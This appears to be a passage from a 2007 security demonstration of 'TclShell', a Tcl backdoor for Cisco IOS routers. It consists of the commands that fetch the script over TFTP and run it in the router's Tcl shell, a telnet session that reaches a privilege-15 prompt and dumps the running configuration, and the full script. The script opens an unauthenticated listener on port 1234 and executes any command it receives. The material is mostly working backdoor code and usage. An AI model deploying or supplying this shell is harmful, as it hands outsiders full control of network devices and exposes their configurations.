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Router>en 
Router#tclsh 
Router(tcl)#source tftp://tftpserver/tclsh.tcl�
�
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$ telnet router 1234 
Trying router... 
Connected to router. 
Escape character is '^]'. 
 
------------------------------------- 
TclShell v0.1 by Andy Davis, IRM 2007 
------------------------------------- 
 
Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE 
SOFTWARE (fc1) 
 
Current privilege level is 15 
 
Enter IOS command: 
 
show running-config 
 
Building configuration... 
 
Current configuration : 743 bytes 
! 
version 12.4(17) 
service timestamps debug uptime 
<CUT>�
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# TclShell.tcl v0.1 by Andy Davis, IRM 2007 
# 
# IRM accepts no responsibility for the misuse of this code  
# It is provided for demonstration purposes only  
 
proc callback {sock addr port} { 
 fconfigure $sock -translation lf -buffering line 
 puts $sock " " 
 puts $sock "-------------------------------------" 
 puts $sock "TclShell v0.1 by Andy Davis, IRM 2007" 
 puts $sock "-------------------------------------" 
 puts $sock " " 
 set response [exec "sh ver | inc IOS"] 
 puts $sock $response  
 set response [exec "sh priv"] 
 puts $sock $response  
 puts $sock " " 
 puts $sock "Enter IOS command:" 
 fileevent $sock readable [list echo $sock] 
} 
 
proc echo {sock} { 
 global var 
 if {[eof $sock] || [catch {gets $sock line}]} { 
   
 } else { 
  set response [exec "$line"] 
  puts $sock $response 
   
 } 
} 
 
set port 1234 
set sh [socket -server callback $port] 
vwait var 
close $sh�
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